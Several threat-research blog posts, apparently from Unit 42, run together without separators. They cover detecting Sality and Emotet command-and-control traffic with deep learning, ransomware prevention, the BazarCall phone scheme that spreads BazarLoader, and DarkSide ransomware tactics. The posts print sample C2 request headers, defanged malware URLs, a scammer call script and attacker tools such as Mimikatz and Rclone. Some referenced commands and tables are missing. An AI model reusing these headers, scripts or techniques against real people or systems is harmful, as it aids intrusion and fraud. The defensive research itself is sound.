Based on command and control (C2) traffic from malware, such as Sality and Emotet, this blog analyzes how deep learning models are further able to identify modified and incomplete C2 traffic packets. This analysis illustrates that the usage of machine learning techniques in IPS can discover yet unseen variants of C2 traffic and can help detect advanced attack campaigns.
Palo Alto Networks Next-Generation Firewall customers are protected from such types of attacks by IPS and AppID in our Threat Prevention security subscription and with malware analysis and prevention through our WildFire security subscription.
C2 Attacks
One of the most damaging aspects of malicious network attacks is accomplished through C2. After malware infects a computer, it establishes a connection to the attacker's server -- the so-called C2 server -- to perform additional tasks that may include downloading other malicious software, data theft or establishing remote control.
In the following sections, we introduce several malicious C2 traffic types, which we use as samples to show how an advanced machine learning system can detect such traffic. The discussed malware serves as examples to illustrate the effectiveness of our machine learning AI in the detection of C2 traffic. The detection capabilities of our AI are not limited to the presented malware samples, but can be applied to general C2 detection.
Sality
The Sality malware was first discovered in 2003 and became more advanced over the years due to the continuous development of new features and capabilities. Sality spreads itself by infecting and modifying executable files and copying itself to removable drives and shared folders.
Once the malware infects a computer system, it attempts to open connections to remote sites, download additional malicious files and leak data from the host machine. Although Sality has been around for a while, the continued development and addition of new features make it an effective and complex malware.
The following two HTTP packet headers (Figures 1 and 2) show C2 traffic used by Sality to connect to the remote site padrup[.]com.
GET /sobaka1.gif?12db3cf=98861835 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) Host: padrup[.]com Cache-Control: no-cache Cookie: jsessionid=85b50d8fab658ecb9f79aa4de6039c87
Figure 1. Sality C2 traffic.
GET /sobaka.aspx?24c1882=115624326 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) Host: padrup[.]com Cache-Control: no-cache Cookie: jsessionid=a2b0f43b9876d289325c3f13a7f8f95b
Figure 2. Sality C2 traffic.
C2 traffic from Sality, such as the packets shown in Figures 1 and 2, communicates with various C2 servers worldwide to perform tasks such as downloading and installing additional malware or leaking sensitive data.
Emotet
Emotet malware has been known since 2014 as banking malware. Typically, Emotet is distributed with Microsoft Word documents containing embedded macros to infect vulnerable hosts. C2 traffic from Emotet malware transmits encoded or otherwise encrypted data over the HTTP protocol. In Figures 3 and 4, we show HTTP packet headers from Emotet C2 traffic.
POST /r1s4dvgwanu1ov8qku/e6qj08nos8kh/o7rhpr2xi05tkkp/ HTTP/1.1 DNT: 0 Referer: 90.[]160[.]138[.]175/r1s4dvgwanu1ov8qku/e6qj08nos8kh/o7rhpr2xi05tkkp/ Content-Type: multipart/form-data; boundary=----------------------1BetPUScZnIzXogZ6qQcQ8 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3[.]0[.]30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.3) Host: 90[.]160[.]138[.]175 Content-Length: 5556 Connection: Keep-Alive Cache-Control: no-cache
Figure 3. Emotet C2 traffic.
POST /kl4or/ok48hg/a5msy52s4i4uuac7dm/pzudacb2/a51azs1nbhzmu5m/p0f6wimb1tcqvn0/ HTTP/1.1 DNT: 0 Referer: 184[.]66[.]18[.]83/kl4or/ok48hg/a5msy52s4i4uuac7dm/pzudacb2/a51azs1nbhzmu5m/p0f6wimb1tcqvn0/ Content-Type: multipart/form-data; boundary=---------O8dHD39IM User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.3) Host: 184[.]66[.]18[.]83 Content-Length: 6916 Connection: Keep-Alive Cache-Control: no-cache
The goal of an IPS is to accurately identify connections to a C2 server. Due to the dynamic nature of the internet and the fast-changing assignment of IP addresses and domain names, this is very challenging to achieve, and defenders often lag behind attackers.
An approach typically used in today’s security industry is to identify C2 traffic, such as network packets from Emotet, as shown above, with static signatures that match a specific pattern in the traffic. This approach has the advantage of being accurate, but it is not flexible in detecting variations or unknown types of traffic. Detecting packets (shown in Figure 3) are especially problematic since there are no reliable patterns in the packet that could be used in a signature. For example, the Uniform Resource Identifier (URI) path from an Emotet packet (shown below) appears to contain random strings, which might transmit encoded information, but would not be a reliable pattern to be used in a signature:
POST /r1s4dvgwanu1ov8qku/e6qj08nos8kh/o7rhpr2xi05tkkp/ HTTP/1.1
A similar case can be observed in the user-agent field, which shows generic values from a web browser, as well as the hostname, which consists of a specific IP address:
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; InfoPath.3)
Host: 90[.]160[.]138[.]175
Neither fields represent ideal candidates for signature generation.
Other types of C2 packets can be reliably identified with traffic patterns. Such reliable patterns are typically character strings that uniquely identify a certain type of C2 traffic and are not found in other (i.e. benign) traffic sessions. Still, this approach has the same disadvantage as IP/domain name-based detection due to the inherent challenges of maintaining an up-to-date and complete set of traffic patterns.
Due to these shortcomings, the application of machine learning is imperative to achieve flexible and reliable detection of C2 traffic. This is critical for detecting novel types of network-based attacks.
C2 Detection with Deep Learning
It is crucial to detect these malicious C2 traffic sessions promptly. As mentioned above, this is traditionally done through the usage of static signatures on payloads and URLs. However, these signatures are not exhaustive and can not detect novel C2 sessions. For these reasons, we researched a deep learning model that can automatically extract the important features from a vast amount of data to detect malicious C2 sessions.
Our deep learning model leverages advanced machine learning algorithms to learn the content and context from a network session and determine if it connects to a malicious C2 server. Our detection module determines the probability of the session being malicious. Based on the predetermined threshold, we can classify if a given session is malicious or not. For this blog, we tested a model trained on ~60 million HTTP session headers with ~36 million benign and ~24 million malicious sessions. This dataset was collected in 2019.
The hyperparameters for training the deep learning model are computed so the false positive rate of the model remains below 0.025%. We tested this model for over four months and observed that the average false positive rate remained below 0.02% with more than 98% precision.
How Does a Deep Learning Model Detect the Traffic Packets Shown Above?
Deep learning models extract features implicitly from the training data. Thus, it may not be possible to ascertain precisely which feature or sequence of features from a packet header triggers detection.
Deep neural networks have many parameters to obtain a highly expressive data representation compared to traditional statistical models. By presenting a deep learning model with millions of known malicious data packets, a neural network is trained to recognize the general structure of a C2 traffic packet. Consequently, the factors involved in packet classification do not depend on a single field (such as the host name), but on various features -- the combination of characters and words or the structure of the packet. The features that distinguish a benign packet from a malicious one are automatically recognized by the neural network during the training process of millions of labeled data points.
To better understand how a detection decision is made, we re-create the packet headers by removing some critical information (e.g., hostname, URI paths) and evaluate these re-created headers with our deep learning model. We summarized our results for different types of malicious C2 traffic in Table 1 and Table 2.
In Table 1, we present the probability with which our model could detect a session as malicious by testing the full HTTP header, as well as the header without the uri-path, hostname, user-agent or referer. These context-fields were removed one at a time. We observed that the model could detect all four C2 sessions with high confidence when all header field information was present. We also see that the model was not reliant on one specific context-field and could detect malicious C2 detection without some of them present.
Malware C2
Full header
Without uri-path
Without hostname
Without user-agent
Without referer
Emotet C2 traffic 1
99.72
99.86
96.28
97.37
99.55
Emotet C2 traffic 2
99.79
99.91
98.04
95.48
99.76
Sality C2 traffic 1
99.99
99.99
99.98
99.99
NA
Sality C2 traffic 2
99.99
99.99
99.98
99.99
NA
Table 1. Performance of our deep learning model on session headers with different levels of information (the values in the table show the model confidence of a session being malicious; NA = the packet didn’t have this field).
As we discussed above, a significant challenge in detecting C2 traffic with static signatures is differentiating reliable patterns from the network traffic. But, this is not the only pitfall signatures face in the detection of C2 traffic. A slight modification of C2 malware traffic could render a signature ineffective. Consider the Sality C2 packet shown in Figure 1. The pattern ‘GET /sobaka1.gif’ is a potential candidate to be used in a signature in an IPS. An advanced malware may frequently change the command pattern in its traffic payload to bypass packet inspection by an IPS.
We simulate such behavior by modifying packet headers and analyze how the detection output of our deep learning model changes. Consider the example below. We changed the uri-path in the Sality C2 packet shown in Figure 1 from ‘sobaka1.gif?12db3cf=98861835’ to ‘/nobata2.gif?52ad3pf=77952613’ and our model was still able to detect the packet header as malicious with 99.9% confidence. The full modified packet header is shown in Figure 5.
GET /nobata2.gif?52ad3pf=77952613 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0) Host: padrup[.]com Cache-Control: no-cache Cookie: jsessionid=85b50d8fab658ecb9f79aa4de6039c87
Figure 5. Modified packet header of Sality C2 traffic.
In Table 2, we present the prediction results of our model on changing values of different context fields, one at a time, in the request header. We observed that our model could detect the C2 sessions with modified values in the context-fields. This shows that our deep learning model is not relying on one specific context-field value, but is learning from the overall structure of the request header.
Malware C2
Full header
Modified uripath
Modified host
Modified user-agent
Modified referer
Emotet C2 traffic 1
99.72
99.72
98.60
98.86
99.63
Emotet C2 traffic 2
99.79
99.92
99.94
99.99
99.94
Sality C2 traffic 1
99.99
99.99
99.96
99.95
NA
Sality C2 traffic 2
99.99
99.99
99.85
99.97
NA
Table 2. Performance of our deep learning model on session headers with changes made on different context-fields of a request header (the values in the table shows the model confidence of a session being malicious; NA = the packet didn’t have this field).
In addition to specific payload patterns in packet headers, the ordering of fields can play a role in detecting C2 sessions with deep learning. In Table 3, we show how our model performs when the packets arrive in different context-field structures. For evaluation, we organized the context fields -- host name (H), referer (R) for Emotet cache-control (C) for Sality and user-agent (UA) in different arrangements. We found that our deep learning model could identify the payloads correctly even when the packet structure was changed.
Malware C2
Full header
(UP|H|R/C|UA)
(UP|H|UA|R/C)
(UP|UA|H|R/C)
Emotet C2 traffic 1
99.72
99.65
98.84
99.50
Emotet C2 traffic 2
99.79
98.27
99.51
99.74
Sality C2 traffic 1
99.99
99.90
99.99
99.99
Sality C2 traffic 2
99.99
99.93
99.98
99.98
Table 3. Performance of our deep learning model on session headers with reordered context-fields (H = Host name, UA = User-Agent, UP = Uri-Path, R = Referer/C=Cache-Control) (the values in the table shows the model confidence of a session being malicious; NA = the packet didn’t have this field).
Overall, the results presented above demonstrate the strength of our deep learning model on detecting the malicious C2 sessions of the malware families like Emotet and Sality. These malware families might connect to different host servers and transfer additional information to conduct attacks, making it challenging to capture them with static signatures.
Conclusion
Our research on using deep learning for C2 traffic detection shows the potential and necessity to use advanced machine learning for intrusion detection and prevention. For novel attacks and zero-day vulnerabilities, it is critical to rely on systems that can identify attacks based on known traffic features and identify unknown types of malicious network traffic to detect and prevent advanced threat campaigns at an early stage. The results Unit 42 sees in various research projects directly contribute to Threat Prevention and WildFire security subscriptions to ensure the protection of our Next-Generation Firewall customers.
Ransomware attacks can cause victims to feel powerless. We’ve seen extortion demands rise dramatically over the past few years. They’re now regularly priced in the millions – and sometimes even tens of millions – of dollars. But the costs reach far beyond the extortion demands themselves.
Fallout can include operational downtime, brand damage, data discovery fees, litigation and impact on data privacy. We’re increasingly seeing cases where ransomware attacks cripple victim organizations with impact that affects their employees, customers and even commodity prices.
With so much at stake, it’s critical that organizations prepare themselves to reduce the risk of falling victim to a ransomware attack and minimize the impact if cyber extortionists do succeed in compromising their networks.
This blog explains what ransomware is and how attacks play out. Most importantly, it provides practical tips on how organizations can prevent these attacks, citing the lessons that our Unit 42 consultants have learned working hundreds of ransomware cases involving government agencies and businesses of all sizes in every industry. It concludes with 12 tips for fighting ransomware.
The Definition of Ransomware
Ransomware is a type of malware used by cybercriminals for financial gain. It takes over the victim’s files or systems, and the attacker demands a ransom be paid in exchange for a decryption key, which presumably will return the files to their original state. Since the end of 2019, the definition of ransomware has extended to also include data extortion, as threat actors have begun to exfiltrate data during a ransomware attack to blackmail victims into paying the ransom to avoid having their information posted on leak sites or put up for sale. This is commonly referred to as “double-extortion.” Also, we’re increasingly seeing attackers leverage a third approach to pressure victims into paying: launching DDoS attacks that shut down public websites.
The Numbers Behind Ransomware Attacks
The potential costs of a ransomware attack are too high to ignore:
So far this year, it’s nearly tripled to about $850,000. For a large enterprise, the average is nearly $3 million.
The highest ransom paid by an organization doubled from 2019 to 2020, from $5 million to $10 million.
The highest ransom demand last year doubled, from $15 million to $30 million. This year we’ve seen it as high as $50 million.
Downtime associated with a ransomware attack averaged 16 days in Q2 of 2020.
To hear more about the financial impact of ransomware, check out this video.
How a Ransomware Attack Works
The most common type of ransomware circulating today is malware that scrambles the contents of files. It typically uses very strong – sometimes virtually uncrackable – encryption protocols that prevent the owner from accessing the files. The perpetrators demand a ransom in exchange for return of the files. Since the end of 2019, we have also observed an increasing trend where attackers behind ransomware variants such as Maze and LockBit exfiltrate data from the victim during the attack and post stolen data publicly to shame victims into paying their ransom. This places an even greater burden on the victim, as the exposed data could contain sensitive information, escalating costs and brand exposure.
Ransom requests are often presented in the form of a pop-up screen, which includes the ransom amount demanded, a desired payment method and a deadline. These days, criminals tend to favor cryptocurrency as a form of payment and will often request specific types (usually Bitcoin, but sometimes Dash or Monero).
Figure 1. A screenshot of a NetWalker ransom note (source: Any.Run).
The attackers promise that the file or system will be returned to normal – once the ransom is paid. Usually, the attacker will send a decryption key that the victim can use to reverse the encryption applied to the files. In the cases where data exfiltration takes place, the attacker may also agree to not post any additional stolen data and may sometimes promise to show evidence it has been destroyed.
However, even if you pay the ransom, there’s no guarantee that the cybercriminal will follow through on their end of the bargain. Even if your files are restored to their original state, it’s possible that the perpetrator will maintain a copy of the stolen data and could potentially sell it on the dark web or use it against you in future attacks. We have observed attackers sending non-functioning or only partially functioning decryption keys. In some cases, we have even seen them send keys that contain additional malicious files or backdoors to give threat actors access to the environment in the future, which is why we are always careful to reverse engineer any key to ensure it is safe for our clients.
How Ransomware Infects Networks
A ransomware attack consists of two main steps. Initially, the malware has to find its way onto a device. Then comes the encryption stage: The ransomware must find and encrypt files and communicate the ransom terms to the victim. Some types of ransomware don’t stop there and can spread from device to device, affecting all computers in a network.
So how does the ransomware find its way into a network in the first place?
These are the three main methods our incident responders have observed in the hundreds of cases we’ve worked over the past year:
Email links or attachments: The user is sent a phishing email with a malicious link or attachment, which leads to the downloading of the ransomware. File extensions to watch out for are .exe and .zip as these are commonly used to distribute ransomware.
Remote Desk Protocol (RDP) attacks: Use of this method is growing, given its ease of use and the high level of access it gives to attackers. Cybercriminals exploit publicly available or weak credentials and brute-force via the RDP protocol to gain access to a victim’s environment before remotely deploying and executing the ransomware. The ransomware gang CrySIS/Dharma is known to push ransomware via RDP attacks.
Virtual Private Network (VPN) attacks: Cybercriminals identify and exploit unsecured and unpatched remote access VPN servers to gain access to a network, then distribute malware. For example, the threat actors responsible for the ransomware variant Sodinokibi have been known to leverage this trend.
Once on a device, ransomware typically searches for specific types of files to encrypt. It might also encrypt shadow files, backups and filenames, making recovery more difficult.
Want to learn more? Here's a quick video on techniques we've observed in ransomware attacks.
12 Tips for Fighting Ransomware Attacks
Keep your software up to date with the latest version as updates often patch security vulnerabilities. This includes patching VPN servers and upgrading from Server Message Block Version 1 (SMBv1) to limit adversaries from using the file sharing protocol to move laterally within the systems.
Maintain regular backups of your files and systems and ensure the backups are stored off network. By doing this, threat actors cannot gain access to disable or delete backups to prevent recovery.
Conduct comprehensive, rigorous end user training on standard and advanced phishing and social engineering techniques. It is important to tailor the education to fit your organization and employee roles.
Leverage log aggregation systems to increase log retention, integrity and availability.
Understand where sensitive data lives and implement strong access controls to protect that data. Monitor and audit access regularly.
Invest in a trusted endpoint detection and response platform to help with ransomware detection, and employ the use of firewalls to block malicious traffic.
Implement strict policies surrounding the use of employee-owned devices for work-related activities and limit user privileges whenever possible.
Integrate multi-factor authentication (MFA) for all remote access, internet accessible and business email accounts.
Disable any direct external RDP access and ensure all external remote administration is conducted through an enterprise-grade MFA VPN.
Adopt account administration best practices across the organization, including requiring unique and complex passwords that are at least 15 characters in length so they cannot be easily brute forced.
Limit the use of privileged accounts, and do not reuse local administrator account passwords to prevent initial access by attackers, privilege escalation and lateral movement across the network.
Create and maintain an asset inventory.
For more tips, check out this video on lessons learned.
Conclusion
Ransomware continues to be a pervasive and dangerous threat to organizations. With the total cost of a ransomware attack continuing to rise, organizations should embrace best practices to protect themselves and arm themselves with a strong understanding of the ransomware threat landscape.
Organizations should also make sure to have an incident response plan in place in case of an attack. Unit 42 offers a Ransomware Readiness Assessment to help organizations get started on bolstering defenses.
Palo Alto Networks customers are protected from many ransomware threats by:
WildFire: All known samples are identified as malware.
Cortex XSOAR: Cortex XSOAR’s ransomware content pack can immediately help incident response, threat intelligence and SecOps teams to standardize and speed-up post-intrusion response processes. This content pack automates most of the ransomware response steps, allowing the incident response and SecOps teams to add their guidance and input.
BazarLoader (sometimes referred to as BazaLoader) is malware that provides backdoor access to an infected Windows host. After a client is infected, criminals use this backdoor access to send follow-up malware, scan the environment and exploit other vulnerable hosts on the network.
The threat actor behind BazarLoader uses different methods to distribute this malware to potential victims. In early February 2021, researchers began reporting a call center-based method of distributing BazarLoader. This method utilizes emails with a trial subscription-based theme that encourages potential victims to call a phone number. A call center operator then answers and directs victims to a website to unsubscribe from the service. Call center operators offer to personally guide victims through a process designed to infect vulnerable computers with BazarLoader. An example of the process can be found in this YouTube video.
This call center-based process of infecting computers with BazarLoader has been dubbed the "BazarCall" method (sometimes referred to as "BazaCall" method).
Chain of Events for Infections Using the BazarCall Method
BazarCall infections follow a distinct pattern of activity. See Figure 1 for a flow chart showing the chain of events.
Figure 1. BazarCall chain of events
Chain of Events for an Infection Using the BazarCall Method:
A trial subscription-themed email with a phone number to a call center for assistance.
Victim calls the phone number from the email.
Call center operator guides the victim to a fake company website.
Victim downloads a Microsoft Excel file from the website.
The call center operator instructs the victim to enable macros on the downloaded Excel file.
The vulnerable Windows computer is infected with BazarLoader malware.
The call center operator then tells the victim that the unsubscription is successful.
BazarLoader generates command and control (C2) traffic from the infected Windows host.
Backdoor access through BazarLoader leads to post-infection activities.
These emails state that the victim’s trial subscription is ending, and the victim’s credit card will be charged. Phone numbers in these emails change at least daily, and occasionally we have seen two or more numbers appear during a single day.
Posing as A Victim
A video has been posted on YouTube documenting someone posing as a victim and having a center operator guide them through the fake unsubscription process. We contacted this call center on at least five different occasions, and the operator was a different person each time. All operators were seemingly non-native English speakers. Two of the operators were female, and three were male. Each operator followed the same basic script, but there were variations.
The following conversation took place on Wednesday, April 14, 2021 using a phone number from the email shown below in Figure 2.
Figure 2. Email used by the person posing as a victim.
Operator: Customer service. How may I help you?
Victim: Hi. I got an email today from a company called Paradise Books. It says I have a subscription, and my credit card will be charged. But I've never dealt with Paradise Books. I don't remember doing anything or going to a website for Paradise Books or anything like that.
Operator: Okay, sir. Do you have a subscription number?
Victim: Yes, hold on. It's 040*********. [Note: The last 9 digits of this number are purposely not shown here because this number identifies the recipient's email address.]
Operator: Okay, I can repeat that back to you. It is 040*********.
Victim: Yes.
Operator: Yes sir, just hold on a moment let me check our system.
Victim: Okay.
[hold music]
Operator: Hello?
Victim: Yes.
Operator: Okay. It seems this account was opened by John Edwards, but your email starts with [victim's first name].
Victim: Yes, I'm [victim's first name]. I don't know any John Edwards.
Operator: Okay, sir. You'll need to cancel the subscription. So what you need to do is go to worldbooks dot US.
Operator: Worldbooks [states each letter phonetically] dot US.
Victim: Hold on a second. Let me get that in my web browser.
Operator: Yes? Can I read it back again?
Victim: No thank you. I have it. [typing sounds]
Operator: Hello?
Victim: Yes, hold on. It looks like it's loading.
Operator: Have you seen the website yet?
Victim: Okay, here we go. It says "World Books." So I've got a web page. I've never seen this site before.
Operator: No problem. We can just cancel the subscription. What you need is your subscriber number that you told me earlier.
Victim: Okay.
Figure 3. BazarCall website from April 14, 2021.
Operator: Can you see the subscribe button?
Victim: Yes.
Operator: When you click on that, you should be able to see unsubscribe.
Victim: Okay, I'm clicking the subscribe button.
Operator: Can you see unsubscribe?
Victim: I see a line that says, "Do you want to unsubscribe?"
Figure 4. BazarCall website subscribe page with link to unsubscribe.
Operator: That is where you need to go. Can you click it?
Victim: Okay.
Operator: And then you enter the subscription number.
Victim: Gotcha. [typing sounds]
Figure 5. BazarCall website unsubscribe page.
Operator: Once you do that, you will receive a confirmation document.
Victim: Okay, it's asking me what do I want to do with subscription 16184 something XLSB?
Figure 6. BazarCall website unsubscribe page returns an Excel file.
Operator: That is the confirmation document. That's where you have your confirmation code.
Victim: Should I open it? Should I save it? Or what?
Operator: You can open it, if you need the confirmation. The confirmation code is important. In case anything happens, you can call us and give us the confirmation code.
Victim: Okay.
Operator: So we can solve the issue.
Victim: Gotcha. Alright.
Operator: Did you get it?
Victim: Alright. I'm opening it right now. I see Excel Office 365. This document is protected. Previewing is not available for protected documents. I have to press enable.
Figure 7. Screenshot of Excel file downloaded from BazarCall website.
Operator: Click editing and enable content.
Victim: Okay. [pauses] Alright. The spreadsheet changed. [pauses] It shows a form with a company name, first name, last name, birthdate, and all that stuff.
Figure 8. Excel file after enabling macros. Note the different filename on the title bar.
Operator: Okay, can you see the code? The code is the important one.
Victim: I don't see a code, no.
Operator: Okay. There are different pages. Can you see the next page?
Victim: Where is this code supposed to be?
Operator: There is a confirmation code in case you don't want to get charged but in case you get charged, that is what you call us with in order to cancel the charge.
Victim: Okay, I still don't know where I'm supposed to find this code.
Operator: Just hold on and let me check with the department of IT.
Victim: Okay.
[hold music for approximately 1 minute]
Operator: Hello sir.
Victim: Yes.
Operator: I've checked with the IT department, and they are saying that the cancellation went through correctly. We are just having an issue with our servers, but the cancellation went through successfully.
Victim: Okay.
Operator: So nothing will be charged to your account. And they've given me a code on their end. Can I read it to you?
Victim: Yes.
Operator: The code is [spells out seven characters of an alpha-numeric code].
Victim: Okay.
Operator: In case of any problem, you can just call back and give us that code. We will be able to resolve any issue.
Victim: Okay. Thank you.
Operator: You're welcome sir. And if you call back, you can ask for [operator's first name], because we have many [garbled].
[Victim repeats operator's first name]
Operator: Yes, that's my name.
Victim: Alright, well thank you.
Operator: Have a good day.
Victim: Goodbye.
Operator: Goodbye sir.
Infection Traffic
After macros are enabled on the downloaded Excel file, the BazarLoader DLL is dropped, and it generates a URL containing the string campo. This type of URL is called Campo Loader, which acts as a gateway that redirects traffic to malware. Some examples of Campo Loader URLs generated by a BazarLoader DLL are shown below in Table 1.
Date
URL
2021-03-25
hxxp://whynt[.]xyz/campo/w/w
2021-03-29
hxxp://veso2[.]xyz/campo/r/r1
2021-03-31
hxxp://about2[.]xyz/campo/a/a1
2021-04-07
hxxp://basket2[.]xyz/campo/u/u1
2021-04-08
hxxp://dance4[.]xyz/campo/d8/d9
2021-04-14
hxxp://glass3[.]xyz/campo/gl/gl3
2021-04-15
hxxp://idea5[.]xyz/campo/id/id8
2021-04-16
hxxp://keep2[.]xyz/campo/jl/jl7
Table 1. Recent Campo Loader URLs generated by BazarCall spreadsheet macros.
Figure 9 shows a Campo Loader URL from April 14, 2021 redirecting to a URL for BazarLoader.
Figure 9. Campo Loader URL successfully redirecting to a URL for BazarLoader.
Examples of recent URLs for BazarLoader EXE files are shown below in Table 2.
Table 3. Artifacts from a BazarCall spreadsheet seen on April 14, 2021.
130486.xlsb and 130486.dot consist of an American Standard Code For Information Interchange (ASCII) string with base64 text. This text represents the BazarLoader dynamic link library (DLL) file. Macro code from the downloaded Excel file converts the base64 text to a DLL named 130486.pgj and runs this DLL using the following script commands:
Keep in mind these files are from one specific example. Artifacts generated from other spreadsheets have different names and different file extensions. Common characteristics include:
All three artifacts have the same name, but different file extensions.
Two of the artifacts are ASCII strings with base64 text.
One of the artifacts is a DLL for BazarLoader.
One of the text-based artifacts uses an .xlsb file extension.
The DLL is designed to retrieve a BazarLoader EXE. In our example from April 14, 2021, the BazarLoader EXE was saved to a folder under the C:\ProgramData directory as shown below in Figure 12.
Figure 12. Windows EXE file for BazarLoader.
Follow-Up Activities
BazarLoader provides backdoor access to an infected Windows host. In some cases, Cobalt Strike is seen as follow-up malware, leading to other malware like Anchor. At least two cases have been publicly documented where BazarLoader malware led to Cobalt Strike and then to Anchor malware. One case happened in February 2021, and the other case happened in March 2021.
However, BazarLoader is not limited to just Cobalt Strike and Anchor as follow-up malware. 2020 saw reports of BazarLoader leading to ransomware like Ryuk. Backdoor access to an infected Windows host could lead to any family of malware.
Conclusion
As early as February 2021, we have seen several reports of the BazarCall method distributing BazarLoader malware using call center personnel. These infections follow noticeable patterns, and they can lead to other malware like Cobalt Strike, Anchor and Ryuk ransomware.
Organizations with decent spam filtering, proper system administration and up-to-date Windows hosts have a much lower risk of infection from BazarLoader malware and its post-infection activity. Palo Alto Networks Next-Generation Firewall customers are further protected from this threat with a Threat Prevention security subscription.
Palo Alto Networks has shared our findings, including file samples and indicators of compromise described in this report, with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.
Indicators of Compromise
Appendix A
Examples of BazarCall emails (March and April 2021): GitHub repository.
Appendix B
Examples of domains hosting the fake websites used for the BazarCall method (March and April 2021): GitHub repository.
Appendix C
96 examples of Excel spreadsheets from unsubscribe pages from fake websites using the BazarCall method (March and April 2021): GitHub repository.
Appendix D
11 examples of BazarLoader DLL files dropped by Excel spreadsheet macros (March and April 2021): GitHub repository.
Appendix E
SHA256 hashes for 24 examples of BazarLoader EXE files retrieved by BazarLoader (March and April 2021): GitHub repository.
It took an attack on a major U.S. pipeline company, and the possibility of disruption in the delivery of gasoline and jet fuel supplies to a large part of the country, to show the world that ransomware attackers are not going to rest on their laurels after shaking down municipal governments, school districts and hospitals.
DarkSide became one of the world’s most well-known hacking groups after the FBI confirmed it is responsible for the highly publicized attack. When a shadowy group can sit halfway across the world and, with a few keystrokes, threaten fuel supplies on the U.S. Eastern Seaboard, then people do begin to take notice.
The impact of this attack is a reflection of the fact that ransomware operators are always on the move – improving, automating and becoming more effective at targeting larger and larger organizations. And they’re getting a lot more money for their efforts. The average cyber ransom paid more than doubled in 2020 – to $312,493 – compared to 2019, according to the 2021 Unit 42 Ransomware Threat Report. So far in 2021, the average payment has nearly tripled compared to the previous year – to about $850,000.
DarkSide has helped boost those averages by constantly focusing on ways to optimize its business model in the short time it’s been active (we first encountered the group about a year ago). Like other leading ransomware gangs, DarkSide recently embraced the Ransomware-as-a-Service (RaaS) model. It outsourced code development, infrastructure and operations and turned to the dark web to recruit new staff. As a result, the group can now better focus on getting to know victims and targeting the most valuable types of data at each organization, so it can extract the largest-possible ransom and boost the return on investment in its criminal businesses.
The group started getting the attention of Unit 42 responders around October 2020. Since then, we’ve been finding its fingerprints in a growing number of cases. What makes DarkSide stand out is that the group has shown discipline we've traditionally only seen with nation-state actors – once the threat actors are in, they really dig in. That said, researchers have noted DarkSide is likely a criminal network operating out of Russia; no one has yet directly connected this to the Russian government.
It is interesting to note that back in November, one ransomware negotiation firm placed the DarkSide operation on an internal restricted list after it announced plans to host infrastructure in Iran – because Iran is under U.S. sanctions, facilitating payments to that location might run afoul of the law.
Wherever they may be, there are indications that DarkSide attackers are highly experienced and accomplished in mounting ransomware attacks. They clearly operate at the high end of the ransomware ecosystem, focusing on a smaller pool of victims from whom they can extract steep ransoms.
Palo Alto Networks customers are protected from this threat by:
WildFire: All known samples are identified as malware.
Anti-Ransomware Module to detect DarkSide encryption behaviors.
Local Analysis detection to detect DarkSide binaries.
Cortex XSOAR: Cortex XSOAR’s ransomware content pack can immediately help incident response, threat intelligence and SecOps teams to standardize and speed-up post-intrusion response processes. This content pack automates most of the ransomware response steps, allowing the incident response and SecOps teams to add their guidance and input.
If you think you may have been impacted, please email unit42-investigations@paloaltonetworks.com or call (855) 875-4631 to get in touch with the Unit 42 Incident Response team.
Doubling and Tripling Their Pressure
The DarkSide group is aggressive in pressuring victims to pay. The threat actors don’t like to be ignored. If victims don’t respond within two or three days, they send threatening emails to employees. If that doesn’t work, they start calling senior executives on mobile phones. And then they might threaten to start contacting customers or the press. And if that doesn’t work, they might launch DDoS to take down external websites.
DarkSide is one of a growing number of ransomware operators that we have seen push the boundaries of their trade to include these tactics, which we refer to as double and triple extortion (others include Maze, Sodin, Clop, NetWalker and Conti).
These aggressive techniques build on the pattern of a typical ransomware attack, in which files are encrypted and a ransom is demanded to decrypt them and restore access. Some victims have backed up their data and do not see a need to pay for decryption keys to restore access to corrupted systems. To prepare for that scenario, attackers also exfiltrate sensitive information and study the victim’s network so they can up the ante if a target refuses to pay. Then they threaten to release the data or launch a DDoS attack.
DarkSide even purports to operate under a “code of conduct,” seeking to position the group as a trustworthy security “partner.” When victims pay, the threat actors will do things to demonstrate good will including providing decryption keys or presenting evidence that appears to show they have deleted stolen data. When asked, they will sometimes even tell victims how they got in so security gaps can be closed.
DarkSide Ransomware: Tactics, Techniques and Procedures
We have seen the following software and tools leveraged by the DarkSide group to gain access to the victims’ data:
Legitimate remote monitoring and management (RMM) tools to maintain access into a victim’s network, such as AnyDesk and TeamViewer.
Reconnaissance tools (ADRecon) to gather information about victims' Active Directory prior to ransomware encryption.
A credential harvesting utility, Mimikatz, to dump password credentials.
PowerShell to carry out objectives, such as to apply GPO to create a scheduled task to execute the ransomware.
Password management utilities such as Dashlane and LastPass to gain access to additional credentials.
Utilities such as SQLDumper.exe to target SQL Server.
Victims’ internal messaging software to contact members of the IT staff.
File transferring software Rclone to exfiltrate data to cloud sharing websites (such as PCloud and MegaSync).
Not many groups target non-Windows based systems, but in early 2021, DarkSide introduced an ESXI version of their ransomware that targets VMware virtual machines (VMs), which many organizations use to leverage server virtualization to reduce operating costs and increase IT productivity.
